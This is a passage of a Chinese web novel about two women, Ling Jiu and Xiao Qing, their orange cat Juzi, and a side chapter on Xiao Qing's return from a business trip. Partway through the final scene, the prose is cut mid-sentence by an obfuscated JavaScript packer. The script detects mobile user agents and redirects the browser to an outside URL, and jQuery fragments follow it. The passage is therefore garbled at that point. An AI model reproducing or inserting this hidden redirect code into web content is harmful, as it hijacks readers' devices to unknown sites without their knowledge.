“买猫粮、猫砂、猫砂盆、猫抓板、猫包。还有……”萧清一拍大腿,“对,还要驱虫!” 一个月后。 锦绣小区9502。 一只橘猫正在阳台上站着,双腿站着,雄赳赳气昂昂地望向天空飞过的小鸟,目光坚毅地像要入党。 “咔嚓。” 一阵闪光灯闪过。 橘猫顿时转身,翘着高高的尾巴,看了凌酒一眼,忽然箭一样跑开,然后开启了奇怪的跑酷模式,上蹿下跳。 “你看——桔子好可爱!” 凌酒输入文本,点击发送,对象不用说自然是萧清。 “跟你一模一样,呆呆的。” 萧清立马回复,后面还跟着一个偷笑的表情包。 “你说,桔子是橘猫还是白猫?” “当然是橘猫,不是很明显的橘色嘛?” “但是——” 凌酒又发了一张照片——桔子正四仰八叉地躺在地板上,小肚子圆圆又胖胖,肚子的毛却白色居多,唯有正中央有一条笔直的橘色细线连接背部的橘毛,甚至四只小脚只有脚掌的地方是白白的,就好像一只披着橘色外套的白色小猫。 “你看,他像不像披着橘色外套的白色小猫!” “像,像你。” “?”凌酒发了一个疑惑表情包。 “就好像披着御姐外衣,实际上内心只是一个软妹的你。” “你,要选哪一个?” “我,全都要。” 11. 番外—出差 “我大姨妈好像到了。” 凌酒蜷缩在床上,生无可恋地望着天花板,旁边躺着的是还没有熄灭的手机。 她刚刚给萧清发了一条语音,当然也同样是生无可恋的语气。 她爬了起来,伸手从柜子里面掏出暖宝宝,贴在自己的衣服上,依旧静静地看着这惨白的天花板,暖暖的温度没有让她有一丝好转。 为什么天花板那么丑? 一股莫名的烦躁涌现在心头。 换做以前,她只想待在萧清的怀里,哪里都不许去,也不允许萧清离开自己。 今天却不行,准确来说,这段时间都不行。 原因很简单——萧清出差了。 “你在干什么?” 她拿起手机,输入一段文字,后面配着一个想你的表情包——猫猫睁着可怜兮兮的大眼睛正在流泪。 桔子没有流泪。 “喵。” 桔子叫喊了一声,后脚轻轻一跃,整只猫便来到凌酒身旁,毫无征兆地躺下,毛茸茸的猫猫头蹭着她的手臂,还发出咕噜咕噜的声音。 “你看你看,桔子都会安慰我!你……什么时候回来?” 凌酒忍不住又发了一条语音,配图当然就是桔子在床上露出肚子的模样。 “呀——它咬我!” 凌酒下一秒又发了一张桔子咬手的图片,刚才她撸得桔子太舒服,猫猫下意识就开始咬住她的手,虽然不太痛,但是还是留下两个深红色的小牙印。 会议室。 “如果没有其他问题的话,我们就按照这套方案执行。” 话音刚落,一阵鼓掌的声音响起,在场的人无不发自内心认同萧清的讲解,每个人的眼里都闪发着赞赏的光芒。 “合作愉快,萧小姐。请务必赏面共进午餐。” “合作愉快,但不好意思,我公司这边还有急事。” 萧清脸上挂着完美的职场笑容,口袋中的手机从她讲解方案开始,就一直没有停过,哪怕是震动模式,她也能感受到电话那头的人强烈的思念。 凌酒就快来大姨妈了。 不知什么时候开始,这段时间她就会变得特别黏人,不然便会变得特别暴躁。 “凌酒。” “你回来没?” “还没有,准备上飞机。” 凌酒鼻子一酸,“太慢了,我肚子有点痛。” “暖宝宝贴好了?别贴太近,烫到皮肤。”萧清温柔地说,“等我回去给你揉肚子,煮姜茶,还有……” “还有什么?” “抱、着、你。”萧清轻轻吐气。 “嗯呐,我等你。”凌酒嘟起嘴,对着话筒用力吻了一下,“唔啊!” 萧清轻轻一笑,红着脸,也对着话筒用力一吻。 “收到啦~嘿嘿。” 萧清脑海里已经能想象出凌酒傻笑的模样,真想抱抱她! “下次不给出差!”凌酒有点脾气,“不然,我一定找那个魏白敛算账!” “好好好。下次,我一定不去,我们一起去找她算账。到时候,你可要硬气一点!” “那当然。”凌酒骄傲地说,“谁叫你是我老婆!” “老婆,那我准备上飞机了。” “好,爱你爱你!” “我也爱你。” 飞机落地时,浅橘色的晚霞染红了整片天空。 萧清拖着行李箱,几乎是一路跑步出机场,手机里还存着半个小时前发过来的照片,桔子趴在她的枕头上睡得四仰八叉,凌酒却蔫蔫地缩在被子里,只露出一双湿漉漉的眼睛。 她早就想好了,一开门,第一个要抱的是凌酒,第二个才是那只抢了她的床位的猫。 密码锁轻轻一响。 “嘀——” 门刚推开一条缝,卧室里就传来一阵窸窸窣窣的动静,像是有人连滚带爬从床 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416259|200774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上蹦下来。 凌酒连拖鞋都没穿,光着脚就冲了过来,眼睛亮如辰星,又带着的委屈,直直扑进萧清怀里。 萧清伸手抱住,掌心贴上她后背柔顺的长发,鼻尖传来熟悉安心的薰衣草香味,一路奔波的疲惫瞬间被冲得干干净净。 “太慢了……” 凌酒把脸埋在她颈窝,声音闷闷的,带着一点鼻音,手臂却收得死紧,像是要把自己嵌进萧清骨血里。 她低头,鼻尖蹭过凌酒柔软的发顶,轻声哄:“我回来了。” 凌酒抬头,眼眶微微发红,“我等了你一整天。” 萧清放下行李箱,反手扣住她的腰,把人稳稳抱在怀里,指尖轻轻揉着她的后腰,声音柔得能滴出水:“对不起,让你等久了。” 凌酒立刻得寸进尺,往她怀里又缩了缩:“肚子还痛。” 萧清低头,在她额角落下一个轻吻,“我现在马上去煮红糖姜茶,顺便给你揉肚子。” 她刚要后退一步,想伸手揉揉肚子,环绕在脖子的手腕却加大了力度。 女孩仰着脸,睫毛轻轻颤着,眼底是毫不掩饰的依赖:“先抱一会儿。” 萧清轻轻一笑,重新抱紧凌酒,轻轻拍着她的背,凑在她耳边说:“这样子就不痛啦?” 一旁的桔子看不下去了,绕着两人的脚边转了两圈,“喵呜”一声,用脑袋蹭了蹭凌酒的脚踝。 凌酒低头瞥了它一眼,故意把萧清抱得更紧,宣示主权:“现在是我的老婆,不准抢。” 萧清被她这副小气巴拉的样子逗笑,胸腔微微震动。 她凑近凌酒耳边,声音又轻又软:“本来就是你的,一、直、都、是。” 凌酒耳朵一烫,抬头凑上去,在她唇角轻轻啾了一下,像小猫偷了一口糖,心满意足。 萧清反手扣住她的后颈,加深了这个吻。 暖黄的灯光落下来,把两人的影子温柔地叠在一起。